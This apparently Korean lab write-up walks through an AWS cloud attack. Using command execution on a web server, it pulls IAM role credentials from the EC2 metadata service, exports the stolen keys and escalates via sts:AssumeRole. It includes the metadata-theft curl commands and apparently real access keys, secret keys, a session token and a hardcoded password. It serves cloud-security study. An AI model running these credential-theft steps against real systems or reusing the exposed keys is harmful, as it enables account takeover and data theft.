<구성요소>
- Role
1. IAMLabInstanceRole <<- sts:AssumeRole
S3ReadOnlyAccess
2. VPC, IGW, Route, Subnet, SG(22,80)
3. Instance 2개
Webserver <- httpd, php, tree, git, htop, jq, awscliv2
Attacker <- tree, git, htop, jq, nc, lynx, awscliv2, hydra
이 예시는 web서비스를 하는 web서버의 취약점이 존재하여, 명령어가 동작하는 환경을 이용할 수 있다는 전제하에 테스트하는 상황이다.
# whoami, pwd, /etc/passwd, hostnamectl로 AWS의 Ec2임을 파악
# IMDS 정보 확인!! IMDS(169.254.169.254)를 통해 Ec2에 적용된 IAM credential을 획득한다
ip route
curl -s http://169.254.169.254/latest/meta-data/local-ipv4; echo
curl -s http://169.254.169.254/latest/meta-data/public-ipv4; echo
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRole; echo
# s3 권한 없음
aws s3 ls
# 탈취한 키 및 토큰 export
export AWS_ACCESS_KEY_ID="ASIAWB7X5RWLM5XXSVN6"
export AWS_SECRET_ACCESS_KEY="gAfFED2YHRmVEXOpPUGmu1yRKYhm8g276bfgvWGa"
export AWS_SESSION_TOKEN= "IQoJb3JpZ2luX2VjEIX//////////wEaDmFwLW5vcnRoZWFzdC0yIkYwRAIgFOUN6TTq+ntBxcZMfzYbKoFPQeDyn5FKk+uSvm65My8CIF6cQdTz8sg51+5P8NmZj3FUFY4RUYUFDoBRO9qzvcotKsgFCF4QARoMNDIzMDM3MzQxMDc4IgwiRz4WVd0gfJFB7FgqpQX9kw+DdtC450+CrGv0sXxxKLwc5tS8saBiU9kO+ghV1e3NNnvvt2LyiJvqlT9QXXvDGnoLIxqdSj4KkUSEAGMUV8KEHOQlVDwybIbnuBtTuRhWqsEsQIg3S0CX7nt3E0cwcgIW2kGqGJtCjpPTcpP6BPdVMcrfxUK4sz5C5cOpvPZIYdjN9663F0mZw24hUgPla7BVDIshRrmKkhAn0+KwBT6PnpMr6rnml/ug1CyV/I6lahX18HqpxiPB6sLT4EFis8SVrOHRYupY2HpuiOXpaXjjwj4bwhjnvMraQ30gLVR0T/BOxksC6zHdtK4/2BP+eoNPkj5NapZcMkov77tk85Njse6YoEaVCLM2QYF3mhkZ4P0MPhpKH8NFPzx2kxZKP8D4b5o7PRrYgzkayKMqwdzKnukf9sG5lok31ALU81zOhTCd8PZ32IRaNeCQtFRP66Q1XyaJpKJPO581YTweEgZkXY3zJjjtc2uoonKkpldH7GnMOX/VMabqpGTTa2sSv6vzzuPVN5xGbaVWrsTIvS5Q/48kAw0ZNI8kMIG8hFAK5ZQjJeoezsa64OqZQF/AJGEZ87AtKELkuCO724VWPjZKpqh8g6kNTiPu69vQ/3RXO/Dwb9GjUey7SzNjQJxKLIO34MzqaLrAKx03+pMxPSPRtFpJu44U6y4Rlze3wS9pPQ9fnfK1GKdIw2U7wLyoM3db5as5WmwF1bi5LVcfhWUfyVnBo+wWdOewEbUcIGDWBuKYYVJH8ur0E/ZsP/vc5jd4dbPBJgcd/lSk8u3L2HjDvWkcsys4hww7EZ0K6dSBn3TLgc9K+AuEJyqswtGwyx64i8dkWTBCfHhwBU3LmWt6GdAWKjgefG7+UL9r3qTXiFvYo+vG0oKOfbvA+Z2Nzi/BKzCrv9ynBjqyAdg1MoF+kS+ryUD0quRRs9UcGiKCwkBocupKt1/kyP41XRvMGjuryDsVM7gMxWSgQz6brSTzHCBN4YhWgMbCNok0+CPiXBP8A95H74YPHcl8wUt3oz2XvH0pvitz6b2xCHTfGeop0f9HuVfQntB6IR39j4lBChfkxcOxiDU/9Erz+xQNUQjyf853Q20x8EgQ76+79WTIymM6xCxFizTyzvLnHEAeWnCMnFE7I3EJXnpPvn8="
# s3 권한 생김
aws s3 ls
# ec2 정보 확인
aws ec2 describe-instances --region ap-northeast-2 | head
# caller id 확인!!! 기억해두자
aws sts get-caller-identity | jq
▲ s3의 리스팅 권한이 생겼으며, ec2권한은 없고, 권한을 확인했을 때, IAMLabInstanceRole을 가져온 것을 볼 수있다.
▲ S3 Readonly 권한이다.
▲ ls와, describe, get-caller를 쐈던 내역을 볼 수 있다.
aws sts get-caller-identity
# AWS 계정의 ID를 변수로 지정
export ACCOUNT_ID=$(aws sts get-caller-identity --query 'Account' --output text)
# 페이지 사용 비활성화
export AWS_PAGER=""
++ AWS_PAGER = AWS_PAGER는 AWS CLI에서 사용되는 환경 변수입니다. 이 변수를 설정하면 aws 명령어가 실행될 때 긴 출력이 터미널 창에 맞지 않을 경우, 페이징 도구를 사용하여 출력을 페이지별로 볼 수 있게 됩니다.
기본적으로 AWS_PAGER 환경 변수는 비어있으며, 이 경우에는 긴 출력이 터미널 창에 모두 표시됩니다. 그러나 AWS_PAGER 변수에 원하는 페이징 도구를 설정하면 (less, more, cat 등), 출력이 페이지별로 나눠져서 보여지게 됩니다.
# user1, 2 생성
aws iam create-user --user-name user1
aws iam create-user --user-name user2
# user1, 2의 AWS Web Console 로그인 profile 생성
cat <<EOF > create-login-profile-user1.json
{
"UserName": "user1",
"Password": "Ahss\$1234",
"PasswordResetRequired": false
}
EOF
cat create-login-profile-user1.json |jq
aws iam create-login-profile --cli-input-json file://create-login-profile-user1.json
***위 에꺼 user1 ==> user2로 바꿔서 한번만 더!***
# iam 사용자 리스트 확인
aws iam list-users |jq
# 사용자한테 프로그래밍 방식 액세스 권한 부여
aws iam create-access-key --user-name user1
aws iam create-access-key --user-name user2
{
"AccessKey": {
"UserName": "user1",
"AccessKeyId": "노트해놓자",
"Status": "Active",
"SecretAccessKey": "노트해놓자",
"CreateDate": "2023-09-03T06:21:17+00:00"
}
}
# 사용자에 정책 추가
aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --user-name user1
aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/ReadOnlyAccess --user-name user2
aws configure --profile user1
AWS Access Key ID [None]: AKIA5ILF2FJITUNS2S5S
AWS Secret Access Key [None]: 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
Default region name [None]: ap-northeast-2
Default output format [None]:
aws configure --profile user2
AWS Access Key ID [None]: AKIA5ILF2FJIR2IDM5VK
AWS Secret Access Key [None]: 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
Default region name [None]: ap-northeast-2
Default output format [None]:
cat ~/.aws/credentials
aws sts get-caller-identity --profile user1 |jq
aws sts get-caller-identity --profile user2 |jq
# 자격증명 확인
aws s3 ls --profile user1
aws s3 ls --profile user2
aws ec2 describe-vpcs --profile user1 |jq
aws ec2 describe-vpcs --profile user2 |jq
NICKNAME=twoeyes
aws s3 mb s3://ahss-2w-$NICKNAME --region ap-northeast-2 --profile user1
aws s3 mb s3://ahss-2w-$NICKNAME-2 --region ap-northeast-2 --profile user2
aws s3 ls --profile user1
aws s3 ls --profile user2
▲ 조회는 두 profile 모두 되는 모습이다.
▲ 하지만 버킷 생성은 user1만 가능했다.
allow-assume-role.json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "allowassumerole",
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Resource": "*"
}
]
}
aws iam put-user-policy --user-name user2 --policy-name allow-assume-role --policy-document file://allow-assume-role.json
export ACCOUNT_ID=$(aws sts get-caller-identity --query 'Account' --output text)
vim MyAccount-AssumeRole.json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$ACCOUNT_ID"
},
"Condition": {}
}
]
}
cat MyAccount-AssumeRole.json | jq
*120분간 s3full 역할 주는 role
aws iam create-role --role-name assume-role-s3full --assume-role-policy-document file://MyAccount-AssumeRole.json --max-session-duration 7200
# assume-role-s3full IAM Role 에 AmazonS3FullAccess 정책 적용
aws iam attach-role-policy --role-name assume-role-s3full --policy-arn arn:aws:iam::aws:policy/AmazonS3FullAccess
< Attacker >
export ACCOUNT_ID=$(aws sts get-caller-identity --query 'Account' --output text --profile user2)
aws sts assume-role --role-arn arn:aws:iam::"$ACCOUNT_ID":role/assume-role-s3full --role-session-name '아무거나 이름' --profile user2
export AWS_ACCESS_KEY_ID="위 Access 키 값"
export AWS_SECRET_ACCESS_KEY="위 Secret 키 값"
export AWS_SESSION_TOKEN="위 Token 키값"
aws sts get-caller-identity |jq
▲ S3FullAccess가 부여된 user2의 키와 토큰을 탈취하여 export했더니, mb, rb, ls 등 aws s3 cli 명령어가 모두 동작하였다.
# 임시 자격증명 제거 (unset)
unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SEESION_TOKEN
▲ unset을 진행하고, credential을 잃었다.
▲ assume할 계정에 로그인한 뒤, URL에 넣고 역할 전환!
▲ 역할이 전환되어, s3FullAccess 권한을 가지게 되었고, 생성에 성공하였다!